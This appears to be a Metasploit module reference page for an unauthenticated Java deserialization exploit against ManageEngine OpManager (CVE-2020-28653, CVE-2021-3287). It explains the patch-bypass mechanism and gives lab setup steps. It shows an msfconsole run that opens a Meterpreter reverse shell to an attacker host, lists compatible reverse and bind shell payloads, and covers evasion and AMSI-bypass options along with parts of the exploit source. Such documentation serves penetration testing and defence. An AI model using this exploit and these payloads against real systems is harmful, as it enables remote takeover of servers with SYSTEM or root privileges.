ManageEngine OpManager SumPDU Java Deserialization - Metasploit


This page contains detailed information about how to use the exploit/multi/http/opmanager_sumpdu_deserialization metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ManageEngine OpManager SumPDU Java Deserialization
Module: exploit/multi/http/opmanager_sumpdu_deserialization
Source code: modules/exploits/multi/http/opmanager_sumpdu_deserialization.rb
Disclosure date: 2021-07-26
Last modification time: 2021-09-16 17:08:23 +0000
Supported architecture(s): cmd, python, x86, x64
Supported platform(s): Linux, Python, Unix, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8060, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-28653, CVE-2021-3287

An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - 12.5.328. Automatic CVE selection only works for newer targets when the build number is present in the logon page. Due to issues with the serialized payload this module is incompatible with versions prior to 12.3.238 despite them technically being vulnerable.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/multi/http/opmanager_sumpdu_deserialization
msf exploit(opmanager_sumpdu_deserialization) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - 12.5.328.

CVE-2020-28653


This vulnerability affects OpManager versions 12.1 - 12.5.232. The vulnerability involves sending a malicious PDU to the SmartUpdateManager handler that when deserialized executes an arbitary OS command.

CVE-2021-3287


This vulnerability is a patch bypass for CVE-2020-28653 and affects OpManager versions 12.5.233 - 12.5.328. When the original vulnerability was patched, it was done so using a new ITOMObjectInputStream deserializer class. This object has a flaw in its validation logic. The object works by requiring the caller to specify a list of one or more object classes that can be deserialized. If an instance is used to perform more than one readObject call however, only the first is protected because once a serialized object of an allowed type is read from the stream, the ITOMObjectInputStream instance remains in a sort of authenticated state where subsequent objects can be read of any type.

The exploit technique for this CVE leverages this by first sending a legitimate, serialized SUMPDU to create an instance of the SUMServerIOAndDataAnalyzer object whose process method makes multiple readObject calls using the same instance for each.

Unlike exploiting CVE-2020-28653, to exploit CVE-2021-3287 the target server must have the SUM server running. This is not the case for the standard installer, but is the case for "Central" variant. Without the SUM server running, the log handler is not initialized which causes the request handler to crash making the vulnerable code path inaccessible.

Setup (Windows)

  1. Download an affected version for either Windows or Linux from the archive
  2. Run the installer executable
  3. Accept the default values for all settings (skip registration), until the very end when prompted to start the application
  4. Unselect the option to start the application
    1. If this option is missed, just navigate to the tray icon where it will say that it's starting and select the option to stop it
  5. Start a command prompt as an administrative user
  6. Navigate to C:\Program Files\ManageEngine\OpManager\bin, older versions use C:\ManageEngine\OpManager\bin
  7. Run run.bat
  8. View and accept the license terms
  9. Press f to run the product in Free mode

OpManager should start successfully after a few minutes. At that point the service can be exploited. In this case the session will be opened in the context of the user that ran the service with run.bat. Once the server is restarted and OpManager starts automatically, the vulnerability can be exploited to open a session in the context of NT AUTHORITY\SYSTEM.

Setup (Linux)

  1. Download an affected version for either Windows or Linux from the archive
  2. Run the installer executable as root
  3. Accept the default values for all settings (skip registration)
  4. Navigate to /opt/ManageEngine/OpManagerCentral/bin, older versions use /opt/ManageEngine/OpManager/bin
  5. Run run.sh as root

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/http/opmanager_sumpdu_deserialization
  4. Set the RHOSTS, TARGET, PAYLOAD and payload-related options as necessary
  5. Do: run
  6. You should get a shell.

Options


CVE

Vulnerability to use. If set to 'Automatic' (the default), the module will attempt to detect the version and select the correct vulnerability.

Scenarios


Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.328

msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization 
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell 
TARGET => Windows PowerShell
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check
[*] 192.168.159.96:8060 - The target appears to be vulnerable.
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] An HTTP session cookie has been issued
[*] Detected version: 12.5.328
[*] The request handler has been associated with the HTTP session
[*] Sending stage (200262 bytes) to 192.168.159.96
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.96:63887) at 2021-09-16 14:06:27 -0400

meterpreter > getuid
Server username: MSFLAB\smcintyre
meterpreter > sysinfo
Computer        : WIN-3MSP8K2LCGC
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 9
Meterpreter     : x64/windows
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the multi/http/opmanager_sumpdu_deserialization exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization

[*] Using configured payload cmd/windows/powershell_reverse_tcp
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > show info

       Name: ManageEngine OpManager SumPDU Java Deserialization
     Module: exploit/multi/http/opmanager_sumpdu_deserialization
   Platform: Windows, Linux, Python, Unix
       Arch: cmd, python, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-07-26

Provided by:
  Johannes Moritz
  Robin Peraglie
  Spencer McIntyre

Module side effects:
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Windows Command
  1   Windows Dropper
  2   Windows PowerShell
  3   Unix Command
  4   Linux Dropper
  5   Python

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  CVE        Automatic        yes       Vulnerability to use (Accepted: Automatic, CVE-2020-28653, CVE-2021-3287)
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      8060             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
                                         listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       OpManager path
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  An HTTP endpoint used by the Manage Engine OpManager Smart Update 
  Manager component can be leveraged to deserialize an arbitrary Java 
  object. This can be abused by an unauthenticated remote attacker to 
  execute OS commands in the context of the OpManager application (NT 
  AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is 
  also present in other products that are built on top of the 
  OpManager application. This vulnerability affects OpManager versions 
  12.1 - 12.5.328. Automatic CVE selection only works for newer 
  targets when the build number is present in the logon page. Due to 
  issues with the serialized payload this module is incompatible with 
  versions prior to 12.3.238 despite them technically being 
  vulnerable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-28653
  https://nvd.nist.gov/vuln/detail/CVE-2021-3287
  https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/

Module Options


This is a complete list of options available in the multi/http/opmanager_sumpdu_deserialization exploit:

msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > show options

Module options (exploit/multi/http/opmanager_sumpdu_deserialization):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CVE        Automatic        yes       Vulnerability to use (Accepted: Automatic, CVE-2020-28653, CVE-2021-3287)
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      8060             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 t
                                         o listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       OpManager path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (cmd/windows/powershell_reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   LHOST                          yes       The listen address (an interface may be specified)
   LOAD_MODULES                   no        A list of powershell modules separated by a comma to download over the web
   LPORT         4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows Command

Advanced Options


Here is a complete list of advanced options supported by the multi/http/opmanager_sumpdu_deserialization exploit:

msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > show advanced

Module advanced options (exploit/multi/http/opmanager_sumpdu_deserialization):

   Name                                Current Setting                      Required  Description
   ----                                ---------------                      --------  -----------
   AutoCheck                           true                                 no        Run check before exploit
   CMDSTAGER::DECODER                                                       no        The decoder stub to use.
   CMDSTAGER::FLAVOR                   auto                                 no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, deb
                                                                                      ug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget,
                                                                                      curl, fetch, lwprequest, psh_invokewebrequest)
   CMDSTAGER::SSL                      false                                no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                          no        Writable directory for staged files
   ContextInformationFile                                                   no        The information file that contains context information
   DOMAIN                              WORKSTATION                          yes       The domain to use for Windows authentication
   DigestAuthIIS                       true                                 no        Conform to IIS, should work for most servers. Only set to fals
                                                                                      e for non-IIS servers
   DisablePayloadHandler               false                                no        Disable the handler code for the selected payload
   EXE::Custom                                                              no        Use custom exe instead of automatically generating a payload e
                                                                                      xe
   EXE::EICAR                          false                                no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                       false                                no        Use the default template in case the specified one is missing
   EXE::Inject                         false                                no        Set to preserve the original EXE function
   EXE::OldMethod                      false                                no        Set to use the substitution EXE generation method.
   EXE::Path                                                                no        The directory in which to look for the executable template
   EXE::Template                                                            no        The executable template file name.
   EnableContextEncoding               false                                no        Use transient context when encoding payloads
   FingerprintCheck                    true                                 no        Conduct a pre-exploit fingerprint verification
   ForceExploit                        false                                no        Override check result
   HttpClientTimeout                                                        no        HTTP connection and receive timeout
   HttpPassword                                                             no        The HTTP password to specify for authentication
   HttpRawHeaders                                                           no        Path to ERB-templatized raw headers to append to existing head
                                                                                      ers
   HttpTrace                           false                                no        Show the raw HTTP requests and responses
   HttpTraceColors                     red/blu                              no        HTTP request and response colors for HttpTrace (unset to disab
                                                                                      le)
   HttpTraceHeadersOnly                false                                no        Show HTTP headers only in HttpTrace
   HttpUsername                                                             no        The HTTP username to specify for authentication
   ListenerComm                                                             no        The specific communication channel to use for this service
   MSI::Custom                                                              no        Use custom msi instead of automatically generating a payload m
                                                                                      si
   MSI::EICAR                          false                                no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                no        The directory in which to look for the msi template
   MSI::Template                                                            no        The msi template file name
   MSI::UAC                            false                                no        Create an MSI with a UAC prompt (elevation to SYSTEM if accept
                                                                                      ed)
   Powershell::encode_final_payload    false                                yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload    false                                yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place           false                                yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                false                                yes       Encrypt PSH with RC4
   Powershell::method                  reflection                           yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals               false                                yes       Pad base64 until no "=" remains
   Powershell::noninteractive          true                                 yes       Execute powershell without interaction
   Powershell::persist                 false                                yes       Run the payload in a loop
   Powershell::prepend_protections_by  true                                 yes       Prepend AMSI/SBL bypass
   pass
   Powershell::prepend_sleep                                                no        Prepend seconds of sleep
   Powershell::remove_comspec          false                                yes       Produce script calling powershell directly
   Powershell::strip_comments          true                                 yes       Strip comments
   Powershell::strip_whitespace        false                                yes       Strip whitespace
   Powershell::sub_funcs               false                                yes       Substitute function names
   Powershell::sub_vars                true                                 yes       Substitute variable names
   Powershell::wrap_double_quotes      true                                 yes       Wraps the -Command argument in single quotes
   SSLCipher                                                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                      false                                no        Enable SSL/TLS-level compression
   SSLVersion                          Auto                                 yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23
                                                                                       are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1,
                                                                                      TLS1.1, TLS1.2)
   SendRobots                          false                                no        Return a robots.txt file if asked for one
   URIHOST                                                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                                                  no        Port to use in URI (useful for tunnels)
   UserAgent                           Mozilla/4.0 (compatible; MSIE 6.0;   no        The User-Agent header to use for all requests
                                       Windows NT 5.1)
   VERBOSE                             false                                no        Enable detailed status messages
   WORKSPACE                                                                no        Specify the workspace for this module
   WfsDelay                            2                                    no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/windows/powershell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   HandlerSSLCert                               no        Path to a SSL certificate in unified PEM format
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but
                                                          directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   SSLVersion                  Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accept
                                                          ed: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/opmanager_sumpdu_deserialization module can exploit:

msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Command
   1   Windows Dropper
   2   Windows PowerShell
   3   Unix Command
   4   Linux Dropper
   5   Python

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/opmanager_sumpdu_deserialization exploit:

msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/windows/adduser                                  normal  No     Windows Execute net user /ADD CMD
   1   payload/cmd/windows/bind_lua                                 normal  No     Windows Command Shell, Bind TCP (via Lua)
   2   payload/cmd/windows/bind_perl                                normal  No     Windows Command Shell, Bind TCP (via Perl)
   3   payload/cmd/windows/bind_perl_ipv6                           normal  No     Windows Command Shell, Bind TCP (via perl) IPv6
   4   payload/cmd/windows/bind_ruby                                normal  No     Windows Command Shell, Bind TCP (via Ruby)
   5   payload/cmd/windows/download_eval_vbs                        normal  No     Windows Executable Download and Evaluate VBS
   6   payload/cmd/windows/download_exec_vbs                        normal  No     Windows Executable Download and Execute (via .vbs)
   7   payload/cmd/windows/generic                                  normal  No     Windows Command, Generic Command Execution
   8   payload/cmd/windows/powershell_bind_tcp                      normal  No     Windows Interactive Powershell Session, Bind TCP
   9   payload/cmd/windows/powershell_reverse_tcp                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   10  payload/cmd/windows/reverse_lua                              normal  No     Windows Command Shell, Reverse TCP (via Lua)
   11  payload/cmd/windows/reverse_perl                             normal  No     Windows Command, Double Reverse TCP Connection (via Perl)
   12  payload/cmd/windows/reverse_powershell                       normal  No     Windows Command Shell, Reverse TCP (via Powershell)
   13  payload/cmd/windows/reverse_ruby                             normal  No     Windows Command Shell, Reverse TCP (via Ruby)
   14  payload/generic/custom                                       normal  No     Custom Payload
   15  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   16  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/opmanager_sumpdu_deserialization exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate
                                                            )
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache
                                                            )
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-n
                                                            ormal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

xacxedx00x05


Here is a relevant code snippet related to the "xacxedx00x05" error message:

137:	      'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
138:	      'data' => build_java_serialized_int(1002)
139:	    })
140:	    return Exploit::CheckCode::Unknown unless res
141:	    # the patched version will respond back with 200 OK and no data in the response body
142:	    return Exploit::CheckCode::Safe unless res.code == 200 && res.body.start_with?("\xac\xed\x00\x05".b)
143:	
144:	    Exploit::CheckCode::Detected
145:	  end
146:	
147:	  def exploit

Failed to establish an HTTP session


Here is a relevant code snippet related to the "Failed to establish an HTTP session" error message:

149:	    res = send_request_cgi({
150:	      'uri' => normalize_uri(target_uri.path),
151:	      'keep_cookies' => true
152:	    })
153:	    unless res&.code == 200 && res.get_cookies =~ /JSESSIONID=/
154:	      fail_with(Failure::UnexpectedReply, 'Failed to establish an HTTP session')
155:	    end
156:	    print_status('An HTTP session cookie has been issued')
157:	    if (@vulnerability = datastore['CVE']) == 'Automatic'
158:	      # if selecting the vulnerability automatically, use version detection
159:	      if (version = res.body[%r{(?<=cachestart/)(\d{6})(?=/cacheend)}]&.to_i).nil?

Could not identify the remote version number


Here is a relevant code snippet related to the "Could not identify the remote version number" error message:

155:	    end
156:	    print_status('An HTTP session cookie has been issued')
157:	    if (@vulnerability = datastore['CVE']) == 'Automatic'
158:	      # if selecting the vulnerability automatically, use version detection
159:	      if (version = res.body[%r{(?<=cachestart/)(\d{6})(?=/cacheend)}]&.to_i).nil?
160:	        fail_with(Failure::UnexpectedReply, 'Could not identify the remote version number')
161:	      end
162:	
163:	      version = Rex::Version.new("#{version / 10000}.#{(version % 10000) / 1000}.#{version % 1000}")
164:	      print_status("Detected version: #{version}")
165:	      if version < Rex::Version.new('12.1')

Versions < 12.1 are not affected by the vulnerability


Here is a relevant code snippet related to the "Versions < 12.1 are not affected by the vulnerability" error message:

161:	      end
162:	
163:	      version = Rex::Version.new("#{version / 10000}.#{(version % 10000) / 1000}.#{version % 1000}")
164:	      print_status("Detected version: #{version}")
165:	      if version < Rex::Version.new('12.1')
166:	        fail_with(Failure::NotVulnerable, 'Versions < 12.1 are not affected by the vulnerability')
167:	      elsif version < Rex::Version.new('12.5.233')
168:	        @vulnerability = 'CVE-2020-28653'
169:	      elsif version < Rex::Version.new('12.5.329')
170:	        @vulnerability = 'CVE-2021-3287'
171:	      else

Versions > 12.5.328 are not affected by this vulnerability


Here is a relevant code snippet related to the "Versions > 12.5.328 are not affected by this vulnerability" error message:

167:	      elsif version < Rex::Version.new('12.5.233')
168:	        @vulnerability = 'CVE-2020-28653'
169:	      elsif version < Rex::Version.new('12.5.329')
170:	        @vulnerability = 'CVE-2021-3287'
171:	      else
172:	        fail_with(Failure::NotVulnerable, 'Versions > 12.5.328 are not affected by this vulnerability')
173:	      end
174:	    end
175:	
176:	    # Step 2: Add the requestHandler to the HTTP session
177:	    res = send_request_cgi({

Failed to setup the HTTP session


Here is a relevant code snippet related to the "Failed to setup the HTTP session" error message:

179:	      'uri' => normalize_uri(target_uri.path, '/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet'),
180:	      'keep_cookies' => true,
181:	      'data' => build_java_serialized_int(1002)
182:	    })
183:	    unless res&.code == 200
184:	      fail_with(Failure::UnexpectedReply, 'Failed to setup the HTTP session')
185:	    end
186:	    print_status('The request handler has been associated with the HTTP session')
187:	
188:	    if @vulnerability == 'CVE-2021-3287'
189:	      # need to send an OPEN_SESSION request to the SUM PDU handler so the SUMServerIOAndDataAnalyzer object is

Failed to execute the command


Here is a relevant code snippet related to the "Failed to execute the command" error message:

271:	      pdu_data << JAVA_SERIALIZED_STRING
272:	      pdu_data << JAVA_SERIALIZED_STRING_ARRAY
273:	      pdu_data << Serialization::TC_RESET
274:	      pdu_data << java_payload.delete_prefix("\xac\xed\x00\x05".b)
275:	      sum_pdu = build_sumpdu(data: pdu_data)
276:	    end
277:	
278:	    res = send_sumpdu(sum_pdu)
279:	    fail_with(Failure::UnexpectedReply, 'Failed to execute the command') unless res&.code == 200
280:	  end
281:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Johannes Moritz
  • Robin Peraglie
  • Spencer McIntyre

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.